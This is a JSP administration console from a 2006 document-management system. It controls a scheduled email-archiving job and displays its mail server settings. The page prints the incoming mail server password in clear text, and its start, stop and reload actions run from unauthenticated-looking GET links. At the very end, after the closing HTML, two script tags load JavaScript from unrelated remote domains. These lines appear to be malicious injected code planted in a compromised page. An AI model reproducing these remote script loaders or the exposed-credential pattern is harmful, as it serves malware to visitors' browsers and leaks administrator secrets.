<%@ page contentType="text/html; charset=utf-8" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.mail.core.*" %>
<%@ page import="com.dcivision.framework.SessionContainer"%>
<%@ page import="com.dcivision.framework.SystemParameterConstant"%>
<%@ page import="com.dcivision.framework.SystemParameterFactory"%>
<!--%@ page import="org.apache.catalina.util.*"%-->

<%@ page import="com.dcivision.framework.bean.SysParameter"%>
<%@ page import="com.dcivision.framework.dao.SysParameterDAObject"%>
<%@ page import="com.dcivision.framework.SystemParameterFactory"%>
<%@ page import="java.sql.Connection"%>
<%@ page import="com.dcivision.user.bean.UserRecord"%>

<%@ page import="org.apache.commons.logging.Log"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ page import="org.quartz.Job"%>
<%@ page import="org.quartz.JobDetail"%>
<%@ page import="org.quartz.JobExecutionContext"%>
<%@ page import="org.quartz.JobExecutionException"%>
<%@ page import="org.quartz.Scheduler"%>
<%@ page import="org.quartz.SchedulerException"%>
<%@ page import="org.quartz.SimpleTrigger"%>
<%@ page import="org.quartz.Trigger"%>
<%@ page import="org.quartz.impl.StdSchedulerFactory"%>
<%@ page import="java.util.Calendar"%>
<%@ page import="java.sql.Timestamp"%>
<%@ page import="java.util.Date"%>


<%
Log log = LogFactory.getLog(this.getClass().getName());
%>

<%
    //  Enable email solution handler 
    boolean enableEmailSolutionHandler = SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_ENABLE_EMAILARCHIVE_AUTO_TRACKER);
    // Auto get email form email server time interval(Unit is minutes)
    String timeInterval = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_EMAILARCHIVE_AUTO_TRACKER_TIME_INTERVAL);
    // Auto get email form email server protocol 
    String mailServerType  = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_EMAILARCHIVE_AUTO_TRACKER_MAIL_SERVERTYPE);   
    // Auto get email form email incoming server host
    String incomingServerHost  = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_EMAILARCHIVE_AUTO_TRACKER_INCOMING_SERVER_HOST);
    // Auto get email form email server incoming server login name  
    String incomingServerLoginName  = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_EMAILARCHIVE_AUTO_TRACKER_INCOMING_SERVER_LOGINNAME);
    // Auto get email form email server incoming server password    
    String incomingServerPassword  = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DMS_EMAILARCHIVE_AUTO_TRACKER_INCOMING_SERVER_PASSWORD);     

    int actionType =0 ;//1 is cancel schedule job ;2 is regist schedule;3 is reload schedule
    long triggerInterval = 0;    
    if (!Utility.isEmpty(timeInterval)){
      triggerInterval = TextUtility.parseInteger(timeInterval)* 60 * 1000;
    }    

	if (!Utility.isEmpty(request.getParameter("actionType"))){
		actionType = TextUtility.parseInteger(request.getParameter("actionType"));
	}

    Connection connection = null;

    //org.quartz.SchedulerFactory factory = new StdSchedulerFactory();
    
    try {
      connection = DataSourceFactory.getConnection();
      // init sessionContainer
      SessionContainer sessionContainer = new SessionContainer();
      UserRecord tmpUserRecord = new UserRecord();
      tmpUserRecord.setID(new Integer(0));
      sessionContainer.setUserRecord(tmpUserRecord);

	  SysParameterDAObject sysDAO = new SysParameterDAObject(sessionContainer,connection);

      Integer sysParameterEnableEmailArchiveAutoTrackerID = new Integer("6075");


      // 
      if(actionType != 0){
        SysParameter tmpSysParameter = (SysParameter)sysDAO.getObjectByID(sysParameterEnableEmailArchiveAutoTrackerID);
        //cancle the schedule job ,need set sysparameter dms.enable_emailArchive_auto_tracker  value to false
	    if(actionType == 1){
			tmpSysParameter.setParameterValue("false");		
		}
        //start the schedule job ,need set sysparameter dms.enable_emailArchive_auto_tracker  value to true
		if(actionType == 2){
			tmpSysParameter.setParameterValue("true");
		}
        sysDAO.updateObject(tmpSysParameter);
        connection.commit();

		//deploy the new sys parameter value to system
	    SystemParameterFactory.setSystemParameter(tmpSysParameter.getParameterCode(), tmpSysParameter.getParameterValue());
	  }


      Scheduler sched =  com.dcivision.framework.SchedulerFactory.getScheduler(); 
      
      String emailSolutionHandleJobName="Email_Solution_Handler_JOB";
      String emailSolutionHandleJobGroupName="Email_Solution_Handler_JOBGROUP";
      String emailSolutionHandleTRIGGGERName="Email_Solution_Handler_TRIGGER";     
      String emailSolutionHandleTaskName="Email_Solution_Handler_JOB";     
	  
      String[] triggerGroups;
      String[] triggers;
	  Date lastTrigerDate =null;
	  Date nextTrigerDate =null;
      boolean jobIsRegist = false;

      triggerGroups = sched.getTriggerGroupNames();
      for (int i = 0; i < triggerGroups.length; i++) {
         triggers = sched.getTriggerNames(triggerGroups[i]);
         for (int j = 0; j < triggers.length; j++) {
            Trigger tg = sched.getTrigger(triggers[j], triggerGroups[i]);
             if (tg instanceof SimpleTrigger && tg.getName().equals(emailSolutionHandleTRIGGGERName)) {
                jobIsRegist = true;
		        lastTrigerDate = tg.getPreviousFireTime();
                nextTrigerDate = tg.getNextFireTime();
				//stop the schedule job for email solution
                if (!enableEmailSolutionHandler || ( Utility.isEmpty(mailServerType) && triggerInterval>0 )){
				   log.debug("Cancel the schedule job for email solution handler!");      
                   sched.unscheduleJob(triggers[j], triggerGroups[i]);
                   
                }
				//reload the schedule job for email solution
				if(actionType == 3){
                  log.debug("Reload the schedule job for email solution handler!");      
                   sched.unscheduleJob(triggers[j], triggerGroups[i]);   
				   jobIsRegist = false;
				}
              }
         }
      } 

	 //start the schedule job for email solution 
     if (enableEmailSolutionHandler && !( Utility.isEmpty(mailServerType) && triggerInterval>0 )&&!jobIsRegist){      
        log.debug("Register and start the schedule job for email solution handler!"); 
        //set the trigger
        Timestamp curTime = Utility.getCurrentTimestamp();
        Calendar triggerTime = Utility.timestampToCalendar(curTime);
        log.debug("**************** trigger Interval: " + triggerInterval/1000+" seconds.");      
        //new the scheduler job to run the EmailSolutionHandler at time        
        JobDetail jobDetail = new org.quartz.JobDetail(emailSolutionHandleTaskName,"Email_Solution_Handler_JOBGROUP",EmailSolutionHandler.class);
        Trigger trigger = new SimpleTrigger("Email_Solution_Handler_TRIGGER","Email_Solution_Handler_TRIGGERGROUP",triggerTime.getTime(), null,SimpleTrigger.REPEAT_INDEFINITELY,triggerInterval);
		log.debug("Register and start the schedule job for email solution handler!");        
        sched.scheduleJob(jobDetail, trigger);        
        
      }
%>
<html>
<head>
<style>
  table { width: 100%; }
  td.page-title {
    text-align: center;
    vertical-align: top;
    font-family:verdana,sans-serif;
    font-weight: bold;
    background: white;
    color: black;
  }
  td.title {
    text-align: left;
    vertical-align: top;
    font-family:verdana,sans-serif;
    font-style:italic;
    font-weight: bold;
    background: #D2A41C;
  }
  td.header-left {
    text-align: left;
    vertical-align: top;
    font-family:verdana,sans-serif;
    font-weight: bold;
    background: #FFDC75;
  }
  td.header-center {
    text-align: center;
    vertical-align: top;
    font-family:verdana,sans-serif;
    font-weight: bold;
    background: #FFDC75;
  }
  td.row-left {
    text-align: left;
    vertical-align: middle;
    font-family:verdana,sans-serif;
    color: black;
    background: white;
  }
  td.row-center {
    text-align: center;
    vertical-align: middle;
    font-family:verdana,sans-serif;
    color: black;
    background: white;
  }
  td.row-right {
    text-align: right;
    vertical-align: middle;
    font-family:verdana,sans-serif;
    color: black;
    background: white;
  }
</style>
<title>EmailSolution console</title>
</head>

<body bgcolor="#FFFFFF">
<!--
<table cellspacing="4" width="100%" border="0">
 <tr>
  <td colspan="2">
   <a href="../../Home.do">
    <img border="0" alt="ParaDM" align="left" src="../../theme/pref3/img/common/LayoutLogoDefault.gif">
   </a>
  </td>
 </tr>
</table>
<hr size="1" noshade"">!-->
<table cellspacing="4" width="100%" border="0">
 <tr>
  <td class="page-title" bordercolor="#000000" align="left" nowrap>
   <font size="+2">EmailSolution console</font>
  </td>
 </tr>
</table>
<br>

<table border="1" cellspacing="0" cellpadding="3">
<tr>
 <td colspan="5" class="title">Applications</td>
</tr>
<tr>
 <td class="header-left"><small>Display Name</small></td>
 <td class="header-left"><small>Running DateTime</small></td>
 <td class="header-center"><small>Running</small></td>
 <td class="header-center"><small>Commands</small></td>
</tr>
<tr>
 <td class="row-left"><small></small></td>
 <td class="row-left"><small>LastRunning Time:<%=TextUtility.formatDate(lastTrigerDate,"yyyy-MM-dd hh:mm:ss")%><br>NextRunning Time:<%=TextUtility.formatDate(nextTrigerDate,"yyyy-MM-dd hh:mm:ss")%></small></td>
 <td class="row-center"><small><%if(jobIsRegist){%>Running<%}else{%>Stop<%} %></small></td>
 <td class="row-left">
  <small>
  &nbsp;<%if(jobIsRegist){%>Start<%}else{%><a href="EmailSolutionConsole.jsp?actionType=2">Start</a><%}%>&nbsp;
  &nbsp;<%if(!jobIsRegist){%>Stop<%}else{%><a href="EmailSolutionConsole.jsp?actionType=1">Stop</a><%}%>&nbsp;
  &nbsp;<%if(!jobIsRegist){%>Reload<%}else{%><a href="EmailSolutionConsole.jsp?actionType=3">Reload</a><%}%>&nbsp;
  </small>
 </td>
</tr>

</table>
<br>
<table border="1" cellspacing="0" cellpadding="3">
<tr>
 <td colspan="2" class="title">Config</td>
</tr>
<tr>
 <td colspan="2" class="header-left"><small>SysParameter</small></td>
</tr>
<tr>
 <td colspan="2">
<form method="get" action="/manager/html/install">
<table cellspacing="0" cellpadding="3">
<tr>
 <td class="row-right" width="50%">
  <small>dms.enable_emailArchive_auto_tracker:</small>
 </td>
 <td class="row-left">
  <%=enableEmailSolutionHandler%>&nbsp;<a href="../../setup/MaintSysParameter.do?navMode=E&ID=6075" target="_blank">EDIT</A>
 </td>
</tr>
<tr>
 <td class="row-right">
  <small>dms.emailArchive_auto_tracker_time_interval:</small>
 </td>
 <td class="row-left">
  <%=timeInterval%>&nbsp;<a href="../../setup/MaintSysParameter.do?navMode=E&ID=6076" target="_blank">EDIT</A>
 </td>
</tr>
<tr>
 <td class="row-right">
  <small>dms.emailArchive_auto_tracker_incoming_server_host:</small>
 </td>
 <td class="row-left">
  <%=incomingServerHost%>&nbsp;<a href="../../setup/MaintSysParameter.do?navMode=E&ID=6077" target="_blank">EDIT</A>
 </td>
</tr>
<tr>
 <td class="row-right">
  <small>dms.emailArchive_auto_tracker_incoming_server_loginname:</small>
 </td>
 <td class="row-left">
  <%=incomingServerLoginName%>&nbsp;<a href="../../setup/MaintSysParameter.do?navMode=E&ID=6078" target="_blank">EDIT</A>
 </td>
</tr>
<tr>
 <td class="row-right">
  <small>dms.emailArchive_auto_tracker_incoming_server_password:</small>
 </td>
 <td class="row-left">
  <%=incomingServerPassword%>&nbsp;<a href="../../setup/MaintSysParameter.do?navMode=E&ID=6079" target="_blank">EDIT</A>
 </td>
</tr>
<tr>
 <td class="row-right">
  <small>dms.emailArchive_auto_tracker_mail_servertype:</small>
 </td>
 <td class="row-left">
  <%=mailServerType%>&nbsp;<a href="../../setup/MaintSysParameter.do?navMode=E&ID=6083" target="_blank">EDIT</A>
 </td>
</tr>
<tr>
 <td class="row-center" colspan="2">
  <small>If changed the SysParameter please <a href="EmailSolutionConsole.jsp?actionType=3">reload</a> the service</small>
 </td>
</tr>
</table>
</form>
</td>
</tr>
</table>
<br>

<table border="1" cellspacing="0" cellpadding="3">
<tr>
 <td colspan="6" class="title">Server Information</td>
</tr>
<tr>
 <td class="header-center"><small>JVM Version</small></td>
 <td class="header-center"><small>JVM Vendor</small></td>
 <td class="header-center"><small>OS Name</small></td>
 <td class="header-center"><small>OS Version</small></td>
 <td class="header-center"><small>OS Architecture</small></td>
</tr>
<tr>
 <td class="row-center"><small><%=System.getProperty("java.runtime.version")%></small></td>
 <td class="row-center"><small><%=System.getProperty("java.vm.vendor")%></small></td>
 <td class="row-center"><small><%=System.getProperty("os.name")%></small></td>
 <td class="row-center"><small><%=System.getProperty("os.version")%></small></td>
 <td class="row-center"><small><%=System.getProperty("os.arch")%></small></td>
</tr>
</table>
<br>

<hr size="1" noshade"">
<center><font size="-1" color="#525D76">
 <em>Copyright &copy; 2006 DCIVISION Limited. All Rights Reserved.</em></font></center>

</body>
</html>
   <%
    } catch (Exception e) {
      log.error(e, e);
    } finally{
      try { connection.close(); } catch (Exception ignore) {} finally { connection = null; }
    }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>